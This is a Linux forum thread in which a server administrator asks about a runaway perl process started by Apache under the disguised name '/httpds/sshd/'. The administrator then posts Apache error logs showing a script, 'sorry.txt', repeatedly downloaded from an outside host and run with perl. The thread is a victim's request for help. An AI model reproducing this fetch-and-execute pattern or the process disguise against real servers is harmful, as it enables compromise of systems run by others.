Find the answer to your Linux question:
Results 1 to 2 of 2
Hi All, Since few weeks my server slooooow down sometimes and when I log me in via SSH I can see that the perl process eating CPU time. The only ...
Enjoy an ad free experience by logging in. Not a member yet? Register.
  1. #1
    Just Joined!
    Join Date
    Nov 2005
    Posts
    6

    Perl eating CPU Time - what is "/httpds/sshd/" ?


    Hi All,

    Since few weeks my server slooooow down sometimes and when I log me in via SSH I can see that the perl process eating CPU time. The only one solution is too kill those processes one after another (because it resurrect )

    I see that this process has been started by Apache so I'm afraid that it could be hack attempt.

    Code:
    # top
    13599 apache    25   0  5088 2868 1200 R 97.1  0.3  27:36.12 perl
    Code:
    #ps aux | grep 13599
    apache   13599 52.0  0.2   5088  2868 ?        R    14:27  27:44 /httpds/sshd/
    Could someone tell me what "/httpds/sshd/" is?

    I use ssh and sftp instantly.
    I have already disabled the apache perl module.
    The OS is: Fedora Core 5 2.6.20-1.2320.fc5
    Apache: 2.2.2
    PHP: 5.1.6

    Any help is very appreciated

    Best Regards,
    Neo

  2. #2
    Just Joined!
    Join Date
    Nov 2005
    Posts
    6
    It seems to be hack attempt. I saw this in my general apache error logfile:

    Code:
      % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                     Dload  Upload   Total   Spent    Left  Speed
    100 13685  100 13685    0     0   2267      0  0:00:06  0:00:06 --:--:-- 35000
    sh: line 1: 13589 Killed                  perl sorry.txt
    --14:27:07--  http://hakkah.fateback.com/sorry.txt
    Resolving hakkah.fateback.com... 216.65.1.200
    Connecting to hakkah.fateback.com|216.65.1.200|:80... connected.
    HTTP request sent, awaiting response... 200 OK
    Length: 13685 (13K) [text/plain]
    Saving to: `sorry.txt'
    
         0K .......... ...                                        100% 37.4K=0.4s
    
    14:27:09 (37.4 KB/s) - `sorry.txt' saved [13685/13685]
    
    sh: fetch: command not found
    Can't open perl script "sorry.txt": No such file or directory
    sh: fetch: command not found
    Can't open perl script "sorry.txt": No such file or directory
    --15:20:31--  http://hakkah.fateback.com/sorry.txt
    Resolving hakkah.fateback.com... 216.65.1.200
    Connecting to hakkah.fateback.com|216.65.1.200|:80... connected.
    HTTP request sent, awaiting response... 200 OK
    Length: 13685 (13K) [text/plain]
    Saving to: `sorry.txt'
    
         0K .......... ...                                        100% 34.6K=0.4s
    
    15:20:33 (34.6 KB/s) - `sorry.txt' saved [13685/13685]
    
      % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                     Dload  Upload   Total   Spent    Left  Speed
    100 13685  100 13685    0     0  16702      0 --:--:-- --:--:-- --:--:-- 32962
    [Wed Jan 09 17:55:42 2008] [warn] RewriteCond: NoCase option for non-regex pattern '-f' is not supported and will be ignored.
    [Wed Jan 09 17:55:42 2008] [warn] RewriteCond: NoCase option for non-regex pattern '-d' is not supported and will be ignored.
    [Wed Jan 09 17:55:48 2008] [warn] RewriteCond: NoCase option for non-regex pattern '-f' is not supported and will be ignored.
    [Wed Jan 09 17:55:48 2008] [warn] RewriteCond: NoCase option for non-regex pattern '-d' is not supported and will be ignored.
    Can't open perl script "sorry.txt": No such file or directory
    [Thu Jan 10 02:39:31 2008] [warn] RewriteCond: NoCase option for non-regex pattern '-f' is not supported and will be ignored.
    [Thu Jan 10 02:39:31 2008] [warn] RewriteCond: NoCase option for non-regex pattern '-d' is not supported and will be ignored.
    [Thu Jan 10 02:39:32 2008] [error] [client 208.186.169.183] File does not exist: /var/www/sigsiu/html/ebay/zenphoto
    [Thu Jan 10 02:39:32 2008] [warn] RewriteCond: NoCase option for non-regex pattern '-f' is not supported and will be ignored.
    [Thu Jan 10 02:39:32 2008] [warn] RewriteCond: NoCase option for non-regex pattern '-d' is not supported and will be ignored.
    I think that it does not work. But how it is possible if apache perl module is disabled?

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •